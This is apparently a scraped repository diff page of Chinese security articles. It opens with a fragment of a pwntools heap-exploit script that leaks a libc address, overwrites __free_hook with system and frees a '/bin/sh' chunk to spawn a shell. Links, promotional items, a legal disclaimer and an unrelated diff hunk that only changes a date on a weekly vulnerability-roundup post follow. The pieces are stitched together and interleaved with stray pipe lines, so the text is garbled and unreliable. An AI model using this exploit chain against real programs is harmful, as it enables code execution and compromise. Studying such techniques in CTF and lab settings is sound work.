#2edit(2,1,b'\xe0')show(2)libc_addr=l64()-0x1ecbe0log_addr(libc_addr)libc.address=libc_addrsystem=libc.sym['system']free_hook=libc.sym['__free_hook']edit(0,0x8,p64(free_hook)[:6])add(0x400,b'a;/bin/sh')#edit(2,0x10,b'/bin/sh\x00')#add(0x400,b'a')edit(4,0x8,p64(system)[:6])delete(3)inter()
|
||||
```
|
||||
|
||||

|
||||
原文l链接:https://xz.aliyun.com/t/16928
|
||||
|
||||

|
||||
|
||||
更多姿势知识星球:
|
||||
|
||||

|
||||
|
||||
相关课程:
|
||||
|
||||
[【双11活动】V2024-12老鑫安全培训](https://mp.weixin.qq.com/s?__biz=MzU0NDc0NTY3OQ==&mid=2247488016&idx=1&sn=8a5fc1fa3044f8edbf833a5d11cbdbf8&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
相关活动:
|
||||
|
||||
[星期四吃什么,就吃KFC,随机抽取5位幸运嘉宾](https://mp.weixin.qq.com/s?__biz=MzU0NDc0NTY3OQ==&mid=2247488267&idx=1&sn=13091ad7a445f81c73f64462a139014e&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
# 赛克安全本周漏洞推送(12.22-12.27)涉及国威IP数字语音系统、黄药师、企企通、快云服务器、一卡通系统漏洞
|
||||
thelostworld 2024-12-28 02:46
|
||||
thelostworld 2024-12-29 15:08
|
||||
|
||||
免责声明请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。工具来自网络,安全性自测,如有侵权请联系删除。本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!马赛克安全实验室情报申明(可点击查看)
|
||||

|
||||
|
||||
Reference in new issue
Block a user